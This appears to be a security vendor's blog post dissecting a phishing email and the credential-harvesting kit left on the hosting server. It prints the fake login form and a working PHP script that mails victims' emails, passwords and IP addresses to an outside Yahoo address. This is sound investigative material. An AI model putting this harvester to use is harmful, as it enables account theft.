Email Verification: spam stories, part 2 or phishermen on board

In this series of blogs, we investigate the background of individual spam mail cases. By using tools provided by WhoisXML API: the domain reputation, WHOIS, and e-mail verification APIs, we unfold the background of these messages. This approach also reveals interesting details about the behavior and habits of spammers and cybercriminals using e-mail, typically for phishing.

Today's case will be a rather amateur-ish phishing attack. The starting point will be a mail received by one of our clients as early as 2 July, a few months ago. (You might well ask why we opt for such a stale example; the reason will be clear later.) The recipient's account was on a well-run system using a fine set of open-source mail filters, filtering out a tremendous amount of junk. In spite of the excellent effort applied, still there are some messages ending up in the addressed users' mailboxes, like the one studied in this case, from [email protected]:

Dear Email User,

Your email exceeded 23,432 for the specified mailbox.
You may not be able to send or receive new email until
the administrator increases the size of the mailbox. Please
Click here to enter an update to your email account
information.

http://broz.eng.br/we/public_html/webmail/webmail/index.php

Be careful!
Otherwise, you will have limited access to incoming messages.
If you do not update your account within three days
Keep in mind that your account will be permanently closed.
        

Of course, one would expect that users won't follow these easily seen-through instructions just by common sense, especially if their account is run by the organization they work for, and it does not happen to have any establishments in Brazil. Moreover, nobody there has an e-mail address ending with "admin.com". In spite of this and surprisingly enough, there are always some running into such trivial traps. But let us assume for a while, that we are just in hold of the URL in the body of the e-mail, and we want to find out something based on just that.

As the URL coincides with the underlying link, we could probably visit it without being immediately harmed, but still, let's prefer visiting http://broz.eng.br first, in a private browsing window. At the time of writing this blog what could be seen there was the following:

(In the left part of the browser you can see our Domain reputation info sidebar for Firefox which is in a development phase, not published yet.) It is based on our domain reputation API which you can try for free on its webpage, by pressing "give API a try":

(Consult the first part of this blog series to see more ways of using the API.)

What this reputation score reveals is: 87.78 is not bad, but not perfect in particular. So the page, just based on this information, maybe even be benign. This, together with some additional information that can be found from the mail source text, can reveal the spam nature of the message. The suspicious signs are:

• The domain in the link of the mail body is different from the sender’s address, "[email protected]".
• In the e-mail header, the server from which the mail was physically sent (origin of the mail in the the Received: from fields) contains yet another domain, which I am not listing here for privacy reasons.

These circumstances together are sufficient to consider this mail as a spam, even without any deeper investigation.

But the example reveals even more interesting details. From the mail header one can deduce that the mail was actually sent from a mail server of the mayor's office of a small town close to the recipient's organization. The header also reveals the account name used for the SMTP authentication at sending. Comparing this account name with the office's webpage, we find out that it is the account of one of the secretaries. So, our “friends” use already compromised accounts for their crooked aims. But what are those aims?

To answer this, let us turn to the webpage we have just opened, and look into the zip file found in the root directory. The good webmail.zip archive contains a webmail subdirectory, within which there is a webmail subdirectory again, with two php files. And one doesn't need to be a php programmer to understand what is going on. The index.php is the one to be opened by the victim when following the link. The relevant part reads:

<td class=listtitle colspan=2>Enter your email address and password to verify your account</td>
    <form action="HiTman2.php" method="POST" name="form">
        <? $checkinfo = checkdata('bWVtb21vbW9AZG9zMTEuY29t'); ?>
        <input type=hidden name=referer value="/">

        <tr>
            <td class=list align=right>Email Address :</td>
            <td class=list><input type=text name=email></td>
        </tr>
        <tr>
            <td class=list align=right>User Name :</td>
            <td class=list><input type=text name=username></td>
        </tr>
        <tr>
            <td class=list align=right>Password :</td>
            <td class=list><input type=password name=password></td>
        </tr>
        <tr>
            <td class=list align=right>Confirm Password :</td>
            <td class=list><input type=password name=confirmpassword></td>
        </tr>
        <tr>
            <td class=listtitle align=right colspan=2>
                <center><input type=submit value='Login'>
            </td>
        </tr>
        <input type="hidden" value="<? echo $checkinfo?>" name="datacheck">
        <tr>
            <td align=center colspan=2><a href="/CMD_LOST_PASSWORD"></a></td>
        </tr>
    </form>
        

So, the user is offered a form to enter their e-mail address, user name, password, and "repeat password". Upon pressing "Login", the form is processed by the following code in HiTman2.php:

<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$userinfo = $_POST['datacheck'];
$message  = "==================+[ DirectAdmin ReZulz ]+==================\n";
$message .= "Email Address  : ".$_POST['email']."\n";
$message .= "Username  : ".$_POST['username']."\n";
$message .= "Password : ".$_POST['password']."\n\n";
$message .= "Confirm Password  : ".$_POST['confirmpassword']."\n";
$message .= "Client IP : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";

$message .= "=============+ Hacked in 2011 By [ Mr.HiTman From Jordan ] +=============\n";

$send= "[email protected]";

$subject = "HiTmax! | DirectAdmin | $ip";
$headers = "From:  HiTmax!<[email protected]>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($send,$subject,$message,$headers);
mail($datacheck,$subject,$message,$headers);
header("Location: http://www.zimbra.com/");
?>
        

So, all the data are simply sent to an e-mail address on yahoo.com. Looking at the full link in the phishing mail body, broz.eng.br/we/public_html/webmail/webmail/index.php with a browser, we get a 404 error, so the phishing site was removed since. (Frequently, they live just for a few hours or days.) However, from the zip file we have found, we can reconstruct what had been done by the malicious actor:

• He picked a ready-made data collector php script.
• He set up a webpage by simply unzipping it on a web server he had access to somehow.
• He might have customized it by replacing the involved e-mail address by some other one; we shall not find it out from the hindsight.
• He distributed the spam message to attract victims.

And he was then getting the information on accounts in his mailbox. In addition, as was said before, the distribution of the spam messages was done by using already compromised e-mail account, whose data may have been collected in a similar manner.

But what a ridiculously primitive attack! It is apparent that the malicious actor didn't need to be an IT professional at all. It is likely that he was just using some packages probably distributed in this evil community. Note the date in the code too: it is at least 8 years old. When the attack was going on, the e-mail address for collection could have been easily found; based on this information, an authority can find the person behind it via server logs obtained from the e-mail provider. Note also the comment "Mr.HiTman From Jordan" in the code, along with an e-mail address [email protected] in the From: field of the resulting mail (it is a non-existent address though, as we shall see later). Moreover, we could reconstruct the story 3 months later, as they did not even bother to remove the zip file from the server root. The mail was received in July, and the file is still there. But sadly, in spite of the amateur "mistakes", the thing may well have worked.

Let us now take a closer look at broz.eng.br. We shall be using the WHOIS API and the WHOIS history API (take a look at the previous blog of this series for technical details). The domain was created back in 2011, and has been owned by the same person ever since. The name of the person is included in the WHOIS record, but no contact data are provided. As we saw before, the reputation of the domain is not perfect, according to the reputation API. In addition, we saw this zip file just in the root directory, so these web server and domain are suspicious indeed.

In the code there is also a reference to www.zimbra.com. They are a big e-mail provider with a domain whose reputation scores as high as 97.78. So they are probably not involved and are just referred to in the e-mail header to make it look more legitimate.

Finally let's take a look at the e-mail addresses we know using the e-mail verification API. The Yahoo address given as the target collecting data ceases to exist (if it ever existed), and it might be just a random address written in the package. (Remember that we probably have the unconfigured package, not in the form it was actually used.) Finally, Mr HiTman's address does not exist either, as clear from the smtpCheck field of the e-mail verification API output:

{
  "audit": {
    "auditCreatedDate": "2019-10-11 06:59:33.519 UTC",
    "auditUpdatedDate": "2019-10-11 06:59:33.519 UTC"
  },
  "catchAllCheck": "null",
  "disposableCheck": "false",
  "dnsCheck": "false",
  "emailAddress": "[email protected]",
  "formatCheck": "true",
  "freeCheck": "false",
  "smtpCheck": "false"
}
        

The domain darkcity.com has an outstanding reputation score of 99.58. It is owned by Warner Bros but not used for hosting a webpage at the moment. So, Mr. HiTman probably never had this address; he might have chosen it because of its evil-sounding name.

What do we learn from the present case? E-mail phishing is still one of the most harmful forms of cybercrime, causing damage worth millions of dollars. It employs methods of a broad range of professional level. And, as we can see in the studied bottom-line example, it is not necessary for a malicious actor to be a high-level expert, as even amateur hackers can get their plunder.

How can we fight against this? The primary way of prevention would still be to educate users not to believe everything they receive. Somewhat surprisingly, however, this is not very feasible. So we are in need of automated, programmatic solutions of preventions. Our APIs can prove useful in such a development, and also, as was demonstrated, in the investigation of particular cases, even with hindsight.